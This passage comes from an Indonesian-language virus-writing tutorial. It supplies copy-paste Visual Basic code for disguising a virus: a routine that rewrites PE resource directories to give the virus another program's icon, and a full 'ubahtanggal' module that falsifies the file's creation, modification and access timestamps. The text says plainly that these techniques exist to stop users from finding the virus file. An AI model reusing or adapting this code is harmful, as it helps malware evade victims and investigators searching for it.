WriteFile hfile, DIBAttrib, Len(DIBAttrib) - 4, BytesRead, ByVal 0&
SetFilePointer hfile, 2, 0, 1
Next intC
Next iLvl3
Next iLvl2
ElseIf L1Entries(iLvl1).Name = 3 Then
CopyMemory Cursor, L1Entries(iLvl1).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hfile, ByVal Cursor, 0, 0
' Read second-level directory
68
ReadFile hfile, L2Root(iLvl1), 16, BytesRead, ByVal 0&
ReDim L2Entries(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As
RESOURCE_DIR_ENTRY
ReDim L3Root(L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries) As
IMAGE_RESOURCE_DIR
For iLvl2 = 1 To (L2Root(iLvl1).NamedEntries + L2Root(iLvl1).IDEntries)
CopyMemory Cursor, L1Entries(iLvl1).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hfile, Cursor + 8 + (iLvl2 * 8), 0, 0
ReadFile hfile, L2Entries(iLvl2), 8, BytesRead, ByVal 0&
CopyMemory Cursor, L2Entries(iLvl2).Offset, 3
Cursor = Cursor + ResTree
SetFilePointer hfile, Cursor, 0, 0
' Read thrid-level directory
ReadFile hfile, L3Root(iLvl2), 16, BytesRead, ByVal 0&
ReDim L3Entries(L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries) As
RESOURCE_DIR_ENTRY
For iLvl3 = 1 To (L3Root(iLvl2).NamedEntries + L3Root(iLvl2).IDEntries)
' Read third-level child nodes
CopyMemory Cursor, L2Entries(iLvl2).Offset, 3
Cursor = Cursor + ResTree + 8 + (iLvl3 * 8)
SetFilePointer hfile, Cursor, 0, 0
ReadFile hfile, L3Entries(iLvl3), 8, BytesRead, ByVal 0&
' Jump to and hack the RESOURCE_DATA_ENTRY
Cursor = L3Entries(iLvl3).Offset + ResTree
SetFilePointer hfile, Cursor, 0, 0
WriteFile hfile, DIBOffset, 4, BytesRead, ByVal 0&
WriteFile hfile, CLng(DIBAttrib.dwBytesInRes + 40), 4, BytesRead, ByVal
0&
Next iLvl3
Next iLvl2
End If
Next iLvl1
Else
HackDirectories = False
Exit Function
End If
HackDirectories = True
Exit Function
ErrHandler:
End Function
Private Function RVA_to_Offset(RVA As Long) As Long
On Error GoTo ErrHandler:
Dim TempOffset As Long ' Difference of RVA and start of section
TempOffset = RVA - ResSectionRVA
If (TempOffset >= 0) Then
' Calculate the file offset of the RVA
RVA_to_Offset = ResSectionOffset + TempOffset
Else
RVA_to_Offset = -1
End If
Exit Function
ErrHandler:
End Function
Private Function Offset_to_RVA(Offset As Long) As Long
On Error GoTo ErrHandler:
Dim TempOffset As Long ' Difference of Offset and start of section
' Get distance between offset and start of resource section
TempOffset = Offset - ResSectionOffset
If TempOffset >= 0 Then
' Calculate RVA of the file offset
Offset_to_RVA = ResSectionRVA + TempOffset
Else
69
Offset_to_RVA = -1
End If
Exit Function
ErrHandler:
End Function
-----------------------------Cut Here & Start Copy-Paste from Here--------------------------
Prosedur ReplaceIcon (1st. Module) akan mengganti Ikon Virus kita dengan file
*.Ico tsb (Source = Path file ikon, Dest = Path file yang akan diganti ikonnya),
Ada beberapa kelemahan dalam penggantian Ikon ini. Pertama, bila Virus
dikompress atau di-Pack dengan settingan untuk menghilangkan atau hanya
megkompress resource dari File maka penggantian Ikon ini tidak bisa berjalan
mulus. Kedua, untuk beberapa file yang akan dikestrak kadang-kadang ikon
tidak berukuran 16X16, bahkan tidak bisa diekstrak sama sekali.
2. Penggantian Date dan Time File Virus
Field apakah yang paling sering digunakan dalam fasilitas Search suatu file di
Windows? Waktu akses/modif/buat dari file.
Ambil contoh virus A.exe dibuat pada tanggal 1 Feb 2006, mulai menginfeksi
komputer anda tanggal 2 Feb 2006. Maka yang harus anda lakukan dalam
mencari file tsb dengan mengisikan field tanggal search dengan range 1 Feb 2006
sampai 2 Feb 2006.
Apa yang harus dilakukan? Kita harus rubah tanggal akes/modif/buat dari file
Virus kita agar tidak (atau setidaknya mempersulit) User mencarinya. Berikut
Source Code yang kira-kira dapat menggambarkan teknik tersebut :
(Referensi Source Code dari Internet, Author : marskarthik@angelfire.com)
-----------------------------Cut Here & Start Copy-Paste from Here--------------------------
Option Explicit
Public Declare Function SetFileTime Lib "kernel32" (ByVal hfile As Long, lpCreationTime
As FILETIME, lpLastAccessTime As FILETIME, lpLastWriteTime As FILETIME) As Long
Public Declare Function GetFileTime Lib "kernel32" (ByVal hfile As Long, lpCreationTime
As FILETIME, lpLastAccessTime As FILETIME, lpLastWriteTime As FILETIME) As Long
Public Declare Function FileTimeToLocalFileTime Lib "kernel32" (lpFileTime As FILETIME,
lpLocalFileTime As FILETIME) As Long
Public Declare Function FileTimeToSystemTime Lib "kernel32" (lpFileTime As FILETIME,
lpSystemTime As SYSTEMTIME) As Long
Public Declare Function SystemTimeToFileTime Lib "kernel32" (lpSystemTime As SYSTEMTIME,
lpFileTime As FILETIME) As Long
Public Declare Function LocalFileTimeToFileTime Lib "kernel32" (lpLocalFileTime As
FILETIME, lpFileTime As FILETIME) As Long
Public Declare Function OpenFile Lib "kernel32" (ByVal lpFileName As String, lpReOpenBuff
As OFSTRUCT, ByVal wStyle As Long) As Long
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Public Const OF_READ = &H0
Public Const OF_READWRITE = &H2
Public Const OF_REOPEN = &H8000
70
Public Const OF_SHARE_COMPAT = &H0
Public Const OF_SHARE_DENY_NONE = &H40
Public Const OF_SHARE_DENY_READ = &H30
Public Const OF_SHARE_DENY_WRITE = &H20
Public Const OF_SHARE_EXCLUSIVE = &H10
Public Const OF_VERIFY = &H400
Public Const OF_WRITE = &H1
Public Const OFS_MAXPATHNAME = 128
Public Type OFSTRUCT
cBytes As Byte
fFixedDisk As Byte
nErrCode As Integer
Reserved1 As Integer
Reserved2 As Integer
szPathName(OFS_MAXPATHNAME) As Byte
End Type
Public Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type
Public Type SYSTEMTIME
wYear As Integer
wMonth As Integer
wDayOfWeek As Integer
wDay As Integer
wHour As Integer
wMinute As Integer
wSecond As Integer
wMilliseconds As Integer
End Type
Public Sub ubahtanggal(pathfil As String, hari As Long, bulan As Long, tahun As Long,
Optional creat As Boolean, Optional modif As Boolean, Optional acces As Boolean)
On Error Resume Next
Dim hfile As Long, rval As Long
Dim buff As OFSTRUCT
Dim ctime As FILETIME, latime As FILETIME, mtime As FILETIME
Dim stime As SYSTEMTIME
Dim fil As String
If IsMissing(creat) Then creat = False
If IsMissing(modif) Then modif = False
If IsMissing(acces) Then acces = False
hfile = OpenFile(pathfil, buff, OF_WRITE)
If hfile Then
rval = GetFileTime(hfile, ctime, latime, mtime)
If creat Then
rval = FileTimeToLocalFileTime(ctime, ctime)
rval = FileTimeToSystemTime(ctime, stime)
stime.wYear = tahun
stime.wMonth = bulan
stime.wDay = hari
stime.wHour = Hour(Time)
stime.wMinute = Minute(Time)
stime.wSecond = Second(Time)
rval = SystemTimeToFileTime(stime, ctime)
rval = LocalFileTimeToFileTime(ctime, ctime)
End If
If modif Then
rval = FileTimeToLocalFileTime(mtime, mtime)
rval = FileTimeToSystemTime(mtime, stime)
stime.wYear = tahun
stime.wMonth = bulan
stime.wDay = hari
71
stime.wHour = Hour(Time)
stime.wMinute = Minute(Time)
stime.wSecond = Second(Time)
rval = SystemTimeToFileTime(stime, mtime)
rval = LocalFileTimeToFileTime(mtime, mtime)
End If
If acces Then
rval = FileTimeToLocalFileTime(latime, latime)
rval = FileTimeToSystemTime(latime, stime)
stime.wYear = tahun
stime.wMonth = bulan
stime.wDay = hari
stime.wHour = Hour(Time)
stime.wMinute = Minute(Time)
stime.wSecond = Second(Time)
rval = SystemTimeToFileTime(stime, latime)
rval = LocalFileTimeToFileTime(latime, latime)
End If
rval = SetFileTime(hfile, ctime, latime, mtime)
End If
rval = CloseHandle(hfile)
End Sub
-----------------------------Cut Here & Start Copy-Paste from Here--------------------------
Prosedur ubahtanggal akan merubah date dari file virus, dengan parameter hari,
bulan dan tahun sesuai dengan yang kita inginkan. Parameter creat, modif dan
acces menunjukkan date atau time mana yang akan diubah, Sebagai contoh bila
acces bernilai True dan lainnya bernilai False maka hanya date dan time acces
saja yang akan diubah.
$> End...
Karena keterbatasan tempat dan waktu maka saya hanya bisa membeberkan 2
teknik saja yang saya kira dapat digunakan untuk mempersulit User dalam
mencari File Induk dari Virus. Saya ingin memohon maaf apabila ada
kekurangan atau pernyataan yang menyinggung pembaca.